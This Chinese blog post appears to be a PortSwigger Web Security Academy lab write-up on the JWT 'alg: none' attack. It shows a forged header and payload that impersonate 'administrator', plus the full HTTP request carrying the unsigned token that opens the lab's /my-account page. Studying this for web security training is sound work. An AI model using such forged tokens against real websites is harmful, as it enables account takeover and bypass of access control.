6种常见的JWT Attack,绕过网站身份验证 - 2.JWT无签名

简介

JWT攻击是使用者向网站发送修改后的JWT,目标是冒充另一个身份的使用者,并绕过身份验证和存取控制。 如果攻击者能够使用任意值创建自己的JWT有效令牌,他们能够升级自己的权限或冒充其他用户,完全控制他们的帐户。

JWT常见攻击手法有以下几种:

  1. 签名未验证
  2. JWT无签名
  3. 爆力破解对称式加密签名
  4. 用kid绕过对称式加密签名
  5. 用JWK绕过非对称式加密签名
  6. 用JKU绕过非对称式加密签名


关于JWT的介绍可参考json web token介绍


2.JWT无签名

网站接受没有签名的JWT,因此可以将alg改为none,一旦JWT没有签名机制,那就可以任意修改

举例来说,想用administrator身份存取/my-account功能,所以一样透过JWT editor将token修改为administrator。但因为目标网站有指定alg,所以任何内容的修改都会和签名不同,导致修改后的JWT无法使用

由于网站接受没有签名的JWT,因此只要把alg改成none即可把签名取消,如下

############## header ##############
{
    "kid": "4d65bce9-4436-44cf-8475-a297719c5281",
    "alg": "none"
}

############## payload ##############
{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1656580618
}

重制token后,可以发现少了签名那段,将此请求送出即可用administrator身份访问/my-account

GET /my-account HTTP/1.1
Host: 0ab7006c03314ce7c0c42f88006d0081.web-security-academy.net
Cookie: session=eyJraWQiOiI0ZDY1YmNlOS00NDM2LTQ0Y2YtODQ3NS1hMjk3NzE5YzUyODEiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY1ODA2MTh9.

 其他方法可参考

6种常见的JWT attack方法

Web Security Academy

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值